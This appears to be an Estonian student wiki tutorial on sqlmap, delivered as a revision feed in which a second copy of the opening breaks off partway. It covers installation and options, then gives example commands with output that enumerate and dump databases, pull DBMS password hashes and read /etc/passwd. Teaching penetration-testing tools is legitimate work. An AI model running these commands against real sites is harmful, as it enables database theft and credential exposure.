Rühm: A21&lt;br /&gt;
&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
Toetab mitmesuguseid andmebaasisüsteeme:  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap&#039;i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. &lt;br /&gt;
&lt;br /&gt;
1. Paigalda Python (Debian, Ubuntu).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install python2.6&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kontrolli versiooni.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python --version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Seejärel alla laadida SQLmap.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget from http://sqlmap.sourceforge.net/#download&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Pakkida see lahti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxvf sqlmap-0.9.tar.gz&lt;br /&gt;
&lt;br /&gt;
cd sqlmap&lt;br /&gt;
&lt;br /&gt;
python sqlmap.py&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Edukal paigaldamisel tagastab SQLmap:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap/0.9 - automatic SQL injection and database takeover tool&lt;br /&gt;
    http://sqlmap.sourceforge.net&lt;br /&gt;
&lt;br /&gt;
Usage: python sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory parameter (&#039;-d&#039;, &#039;-u&#039;, &#039;-l&#039;, &#039;-r&#039;, &#039;-g&#039;, &#039;-c&#039;, &#039;--wizard&#039; or &#039;--update&#039;), -h for help&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Windows====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]&lt;br /&gt;
&lt;br /&gt;
2. Alla laadida zip fail SQLmap&#039;i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;C:\sqlmapproject-sqlmap-2defc30&amp;gt;python ./sqlmap.py&lt;br /&gt;
Usage: ./sqlmap.py [options]&lt;br /&gt;
&lt;br /&gt;
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza&lt;br /&gt;
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv&lt;br /&gt;
anced help&lt;br /&gt;
&lt;br /&gt;
Press Enter to continue...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Süntaks==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Ülevaade SQLmap&#039;i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py [options]&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mõned võtmed:&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Sihtmärk&#039;&#039;&#039;, kellega ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-d DIRECT           Otseühendus andmebaasiga&lt;br /&gt;
-u URL, --url=URL   Sihtmärgi URL (näiteks &amp;quot;www.target.com/vuln.php?id=1&amp;quot;)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. &#039;&#039;&#039;Päring&#039;&#039;&#039;, kuidas sihtmärgiga ühendutakse:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--data=DATA         Andmestring saadetakse läbi POST&#039;i&lt;br /&gt;
--host=HOST         HTTP Host&#039;i päis&lt;br /&gt;
--proxy=PROXY       Kasutada HTTP proxy&#039;t et ühenduda URL&#039;iga&lt;br /&gt;
--delay=DELAY       Ooteaeg sekundites HTTP päringute vahel&lt;br /&gt;
--force-ssl         Kasuta SSL/HTTPS&#039;i&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. &#039;&#039;&#039;Optimiseerimine&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;--threads=THREADS   Samaaegsete HTTP(s) päringute arv (vaikimisi 1)&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. &#039;&#039;&#039;Andmebaas&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
-a, --all           Tagasta kõik&lt;br /&gt;
--current-user      Tagasta hetkel kasutuses oleva kasutaja&lt;br /&gt;
--users             Loetle kasutajad&lt;br /&gt;
--passwords         Loetle kasutajate parooliräsid&lt;br /&gt;
--privileges        Loetle kasutajate privileegid&lt;br /&gt;
--roles             Loetle kasutajate rollid&lt;br /&gt;
--dbs               Loetle andmebaasid&lt;br /&gt;
--tables            Loetle andmebaasi tabelid&lt;br /&gt;
--columns           Loetle andmebaasi tabeli veerud&lt;br /&gt;
--schema            Loetle andmebaasi skeem&lt;br /&gt;
--dump              Väljasta kogu andmebaasi sisu&lt;br /&gt;
--dump-all          Väljasta kõikide andmebaaside sisu&lt;br /&gt;
--search            Otsi veergu, tabelit ja/või andmebaasi nime&lt;br /&gt;
-D DB               Mis andmebaasist loetleda&lt;br /&gt;
-T TBL              Mis andmebaasi tabelist loetleda&lt;br /&gt;
-C COL              Mis tabeli veerust loetleda&lt;br /&gt;
-U USER             Mis kasutaja kohta loetleda&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. &#039;&#039;&#039;Failid&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
--file-read=RFILE   Loe fail süsteemist&lt;br /&gt;
--file-write=WFILE  Kirjuta fail süsteemi&lt;br /&gt;
--file-dest=DFILE   Absoluutne failitee kuhu kirjutada&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks on SQLmap&#039;il veel väga palju muid võtmeid.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Andmebaasid ja tabelid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Oletame, et tahame SQLmap&#039;iga testida nõrka veebilehte. Veebilehega &#039;&#039;&#039;ühendumiseks&#039;&#039;&#039; kasutame võtit &#039;&#039;&#039;-u&#039;&#039;&#039; (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:10:33&lt;br /&gt;
&lt;br /&gt;
[12:10:33] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:10:34] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:10:37] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada &#039;&#039;&#039;andmebaaside nimekirja&#039;&#039;&#039;, kasutades võtit &#039;&#039;&#039;--dbs&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.sitemap.com/section.php?id=51&amp;quot; --dbs&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[*] starting at 12:12:56&lt;br /&gt;
&lt;br /&gt;
[12:12:56] [INFO] resuming back-end DBMS &#039;mysql&#039; &lt;br /&gt;
[12:12:57] [INFO] testing connection to the target url&lt;br /&gt;
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:&lt;br /&gt;
---&lt;br /&gt;
Place: GET&lt;br /&gt;
Parameter: id&lt;br /&gt;
    Type: error-based&lt;br /&gt;
    Title: MySQL &amp;gt;= 5.0 AND error-based - WHERE or HAVING clause&lt;br /&gt;
    Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&lt;br /&gt;
---&lt;br /&gt;
[12:13:00] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:13:00] [INFO] fetching database names&lt;br /&gt;
[12:13:00] [INFO] the SQL query used returns 2 entries&lt;br /&gt;
[12:13:00] [INFO] resumed: information_schema&lt;br /&gt;
[12:13:00] [INFO] resumed: safecosmetics&lt;br /&gt;
available databases [2]:&lt;br /&gt;
[*] information_schema&lt;br /&gt;
[*] safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame &#039;&#039;&#039;kõik tabelid&#039;&#039;&#039;, mis asuvad andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --tables -D safecosmetics&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[11:55:18] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[11:55:18] [INFO] fetching tables for database: &#039;safecosmetics&#039;&lt;br /&gt;
[11:55:19] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[11:55:19] [INFO] the SQL query used returns 216 entries&lt;br /&gt;
[11:55:20] [INFO] retrieved: acl_acl&lt;br /&gt;
[11:55:21] [INFO] retrieved: acl_acl_sections                                                                                &lt;br /&gt;
........... more tables&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Leiame &#039;&#039;&#039;veerud tabelis&#039;&#039;&#039; &amp;quot;users&amp;quot; andmebaasis &amp;quot;safecosmetics&amp;quot;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --columns -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] &lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[12:17:39] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: FreeBSD&lt;br /&gt;
web application technology: Apache 2.2.22&lt;br /&gt;
back-end DBMS: MySQL 5&lt;br /&gt;
[12:17:39] [INFO] fetching columns for table &#039;users&#039; in database &#039;safecosmetics&#039;&lt;br /&gt;
[12:17:41] [INFO] heuristics detected web page charset &#039;ascii&#039;&lt;br /&gt;
[12:17:41] [INFO] the SQL query used returns 8 entries&lt;br /&gt;
[12:17:42] [INFO] retrieved: id&lt;br /&gt;
[12:17:43] [INFO] retrieved: int(11)                                                                                         &lt;br /&gt;
[12:17:45] [INFO] retrieved: name                                                                                            &lt;br /&gt;
[12:17:46] [INFO] retrieved: text                                                                                            &lt;br /&gt;
[12:17:47] [INFO] retrieved: password                                                                                        &lt;br /&gt;
[12:17:48] [INFO] retrieved: text                                                                                            &lt;br /&gt;
&lt;br /&gt;
.......&lt;br /&gt;
&lt;br /&gt;
[12:17:59] [INFO] retrieved: hash&lt;br /&gt;
[12:18:01] [INFO] retrieved: varchar(128)&lt;br /&gt;
Database: safecosmetics&lt;br /&gt;
Table: users&lt;br /&gt;
[8 columns]&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| Column            | Type         |&lt;br /&gt;
+-------------------+--------------+&lt;br /&gt;
| email             | text         |&lt;br /&gt;
| hash              | varchar(128) |&lt;br /&gt;
| id                | int(11)      |&lt;br /&gt;
| name              | text         |&lt;br /&gt;
| password          | text         |&lt;br /&gt;
| permission        | tinyint(4)   |&lt;br /&gt;
| system_allow_only | text         |&lt;br /&gt;
| system_home       | text         |&lt;br /&gt;
+-------------------+--------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
5. Leiame eelnevast &#039;&#039;&#039;tabelist andmed&#039;&#039;&#039;:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://www.site.com/section.php?id=51&amp;quot; --dump -D safecosmetics -T users&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| id | hash               | name      | email     | password | permission | system_home | system_allow_only |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&lt;br /&gt;
| 1  | 5DIpzzDHFOwnCvPonu | admin     | &amp;lt;blank&amp;gt;   | &amp;lt;blank&amp;gt;  | 3          | &amp;lt;blank&amp;gt;     | &amp;lt;blank&amp;gt;           |&lt;br /&gt;
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Kasutajad====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Järgnev käsk tagastab infot &#039;&#039;&#039;kasutajate ja rollide&#039;&#039;&#039; kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --users --passwords --privileges --roles --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;..........&lt;br /&gt;
&lt;br /&gt;
database management system users [5]:&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;127.0.0.1&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost&#039;&lt;br /&gt;
[*] &#039;root&#039;@&#039;localhost.localdomain&#039;&lt;br /&gt;
&lt;br /&gt;
.............&lt;br /&gt;
&lt;br /&gt;
database management system users password hashes:&lt;br /&gt;
[*]  [1]:&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
[*] root [2]:&lt;br /&gt;
    password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19&lt;br /&gt;
    password hash: NULL&lt;br /&gt;
&lt;br /&gt;
........&lt;br /&gt;
&lt;br /&gt;
[*] %root% (administrator) [27]:&lt;br /&gt;
    privilege: ALTER&lt;br /&gt;
    privilege: ALTER ROUTINE&lt;br /&gt;
    privilege: CREATE&lt;br /&gt;
    privilege: CREATE ROUTINE&lt;br /&gt;
    privilege: CREATE TEMPORARY TABLES&lt;br /&gt;
    privilege: CREATE USER&lt;br /&gt;
    privilege: CREATE VIEW&lt;br /&gt;
    privilege: DELETE&lt;br /&gt;
    privilege: DROP&lt;br /&gt;
    privilege: EVENT&lt;br /&gt;
    privilege: EXECUTE&lt;br /&gt;
    privilege: FILE&lt;br /&gt;
    privilege: INDEX&lt;br /&gt;
    privilege: INSERT&lt;br /&gt;
    privilege: LOCK TABLES&lt;br /&gt;
    privilege: PROCESS&lt;br /&gt;
    privilege: REFERENCES&lt;br /&gt;
    privilege: RELOAD&lt;br /&gt;
    privilege: REPLICATION CLIENT&lt;br /&gt;
    privilege: REPLICATION SLAVE&lt;br /&gt;
    privilege: SELECT&lt;br /&gt;
    privilege: SHOW DATABASES&lt;br /&gt;
    privilege: SHOW VIEW&lt;br /&gt;
    privilege: SHUTDOWN&lt;br /&gt;
    privilege: SUPER&lt;br /&gt;
    privilege: TRIGGER&lt;br /&gt;
    privilege: UPDATE&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Leiame info hetkel kasutusel oleva &#039;&#039;&#039;kasutaja, andmebaasi ja hostinime&#039;&#039;&#039; kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --current-user --is-dba --current-db --hostname --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;........&lt;br /&gt;
[11:32:33] [INFO] the back-end DBMS is MySQL&lt;br /&gt;
web server operating system: Linux Red Hat Enterprise 6 (Santiago)&lt;br /&gt;
web application technology: PHP 5.3.3, Apache 2.2.15&lt;br /&gt;
back-end DBMS: MySQL 5.0.11&lt;br /&gt;
[11:32:33] [INFO] fetching current user&lt;br /&gt;
[11:32:33] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:33] [INFO] retrieved: 14&lt;br /&gt;
[11:32:38] [INFO] retrieved: root@localhost             &lt;br /&gt;
current user:    &#039;root@localhost&#039;&lt;br /&gt;
[11:32:38] [INFO] fetching current database&lt;br /&gt;
[11:32:38] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:38] [INFO] retrieved: 5&lt;br /&gt;
[11:32:40] [INFO] resumed: profile_data&lt;br /&gt;
current database:    &#039;profile_data&#039;&lt;br /&gt;
[11:32:40] [INFO] fetching server hostname&lt;br /&gt;
[11:32:40] [INFO] retrieving the length of query output&lt;br /&gt;
[11:32:40] [INFO] retrieved: 21&lt;br /&gt;
[11:32:48] [INFO] retrieved: localhost.localdomain             &lt;br /&gt;
hostname:    &#039;localhost.localdomain&#039;&lt;br /&gt;
[11:32:48] [INFO] testing if current user is DBA&lt;br /&gt;
[11:32:48] [INFO] fetching current user&lt;br /&gt;
current user is DBA:    False&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Leiame kasutaja &#039;&#039;&#039;parooliräsi&#039;&#039;&#039;:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;[10:59:15] [INFO] the SQL query used returns 1 entries&lt;br /&gt;
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.&lt;br /&gt;
[10:59:18] [INFO] analyzing table dump for possible password hashes&lt;br /&gt;
Database: sqldummywebsite&lt;br /&gt;
Table: user_info&lt;br /&gt;
[1 entry]&lt;br /&gt;
+---------------+&lt;br /&gt;
| user_password |&lt;br /&gt;
+---------------+&lt;br /&gt;
| 24iYBc17xK0e. |&lt;br /&gt;
+---------------+&amp;lt;/pre&amp;gt;&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Failid====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. &#039;&#039;&#039;Faili lugemine&#039;&#039;&#039; kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python sqlmap.py -u &amp;quot;http://localhost/weak.php?id=10&amp;quot; --file-read=/etc/passwd --threads=10&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kokkuvõte==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Kasutatud kirjandus==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]&lt;br /&gt;
&lt;br /&gt;
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]&lt;br /&gt;
&lt;br /&gt;
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]&lt;/div&gt;</summary>
		<author><name>Eprudnik</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88534</id>
		<title>Sqlmap</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Sqlmap&amp;diff=88534"/>
		<updated>2015-05-14T15:03:42Z</updated>

		<summary type="html">&lt;p&gt;Eprudnik: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
= SQLmap =&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
Autor: Elina Prudnikova &lt;br /&gt;
&lt;br /&gt;
Rühm: A21&lt;br /&gt;
&lt;br /&gt;
Mai 2015&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
== Lühikirjeldus ==&lt;br /&gt;
&#039;&#039;&#039;&#039;&#039;&lt;br /&gt;
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]&lt;br /&gt;
&lt;br /&gt;
Toetab mitmesuguseid andmebaasisüsteeme:  MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:red&amp;quot;&amp;gt; NB! SQLmap&#039;i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
==Paigaldamine==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
====Linux/Unix====&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
SQLmap&#039;i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. &lt;br /&gt;
&lt;br /&gt;
1. Paigalda Python (Debian, Ubuntu).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;sudo apt-get install python2.6&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Kontrolli versiooni.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;python --version&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Seejärel alla laadida SQLmap.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;wget from http://sqlmap.sourceforge.net/#download&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Pakkida see lahti ja käivitada.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;tar zxvf sqlmap-0.9.tar.gz&lt;br /&gt;
&lt;br /&gt;
cd sqlmap&lt;br /&gt;
&lt;br /&gt;
